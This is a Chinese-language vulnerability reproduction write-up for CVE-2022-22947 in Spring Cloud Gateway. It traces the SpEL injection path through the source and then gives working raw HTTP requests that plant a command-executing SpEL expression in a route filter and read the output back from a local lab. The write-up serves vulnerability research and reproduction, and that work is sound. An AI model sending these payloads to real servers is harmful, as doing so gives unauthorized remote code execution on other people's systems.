CVE-2022-22947 Spring Cloud Gateway SPEL RCE复现

0 环境搭建

影响范围：

Spring Cloud Gateway 3.1.x < 3.1.1

Spring Cloud Gateway < 3.0.7

p牛的vulhub已经搭好docker了，https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947

也可以本地搭建

git clone https://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0
然后idea打开项目，再调试或启动

1 漏洞触发点

首先找到spring-cloud-gateway的commit记录，看看修改的地方，直接来到https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e

如下：

非常标准的spel表达式使用，代码在org/springframework/cloud/gateway/support/ShortcutConfigurable#getValue()方法中，搜索其调用位置

三个枚举调用都位于ShortcutConfigurable内部的枚举类ShortcutType中，且重写了不同的normalize方法，继续向上找ShortcutType#normalize方法的调用

最终都来到org.springframework.cloud.gateway.support.ConfigurationService$ConfigurableBuilder#normalizeProperties方法中，并且传入的时该类的properties成员变量，而normalizeProperties()方法的调用只出现在该类的父类AbstractBuilder.bind()中

继续向上寻找bind方法的调用

发现org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters方法中不仅出现了bind方法调用，还出现了properties方法调用，跟进该properties方法可见对properties成员变量的设置，即前述的org.springframework.cloud.gateway.support.ConfigurationService$ConfigurableBuilder#normalizeProperties方法中向下调用spel表达式时恰好需要的properties成员变量。

由此即可知道该漏洞的触发可能来自于gatewayFilter的添加，并且从loadGatewayFilters方法继续向上跟踪调用如下：

RouteDefinitionRouteLocator.loadGatewayFilters <- RouteDefinitionRouteLocator.getFilters <- RouteDefinitionRouteLocator.convertToRoute <- RouteDefinitionRouteLocator.getRoutes <- GatewayControllerEndpoint.route

也可以看到确实来自于filter的添加。

所以思路可以出来，由于添加filter时输入了spel表达式，被当作properties进行解析，最终导致恶意表达式被执行，从而实现rce。

再从spring cloud gateway的文档进行查看

文档的11.5中提到，使用POST请求/gateway/routes/id 并使用json格式的数据，可以创建一个route，并且从前面的格式中也可以看到，支持添加filter。

但没有给出filters字段中具体应该怎么写，但没关系，我们从源代码可以找到

org.springframework.cloud.gateway.filter.FilterDefinition这个filter的定义类中，其成员变量如下

运行程序后，再mappings里面可以看到/routes/{id}这个uri对应的方法

跟进该方法可以看到对filter给进的name有验证

调试模型下可以看到允许的name如下

这里的每种name，实际上又对应了不同的GatewayFilterFactory

其中有个AddResponseHeaderGatewayFilterFactory可以向response hedder中写入执行结果，因此恰好满足回显要求

根据这里的getName和getValue可以知道还需要添加name和value字段

2 构建poc

根据前面的信息，可以逐步汇总出poc的样子，

• 首先是POST /actuator/gateway/routes/{id}
• 然后添加json body，其中需要给出id和filters字段
• 其中filters字段需要给出name和args，而name的值需要设置为AddResponseHeader获得回显，args中需要name和value

最终poc如下

• post请求创建route和filter

POST /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "test",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result=",
      "value": "#{new java.util.Scanner(new java.lang.ProcessBuilder('cmd', '/c', 'ping', 'baidu.com').start().getInputStream(), 'GBK').useDelimiter('asfsfsdfsf').next()}"
    }
  }],
   "uri": "http://test.com"
}

• POST请求/refresh，使新建的uri和filter生效

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

由于前面使用的spel是ping百度的，所以需要等待一会，也可以换成其它命令，比如dir、ipconfig、whoami等

• GET请求/actuator/gateway/routes/test，触发spel，并得到回显

GET /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

得到ping命令的输出

• DELETE请求删除/actuator/gateway/routes/test

GET /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

3 总结

昨天在twitter上看到了这个rce，没有太注意，昨天晚上看到通报，感觉这个洞还是有价值的，想着今天来复现应该差不多，结果P牛昨天就把docker上传到vulhub了，y4er师傅也写出了分析文章，跟不上啊= =

p牛和y4er师傅用的是spring自带的类处理命令执行的返回字节流，我用的是之前找到的jdk自带方法，其实都差不多

参考

https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947

https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response/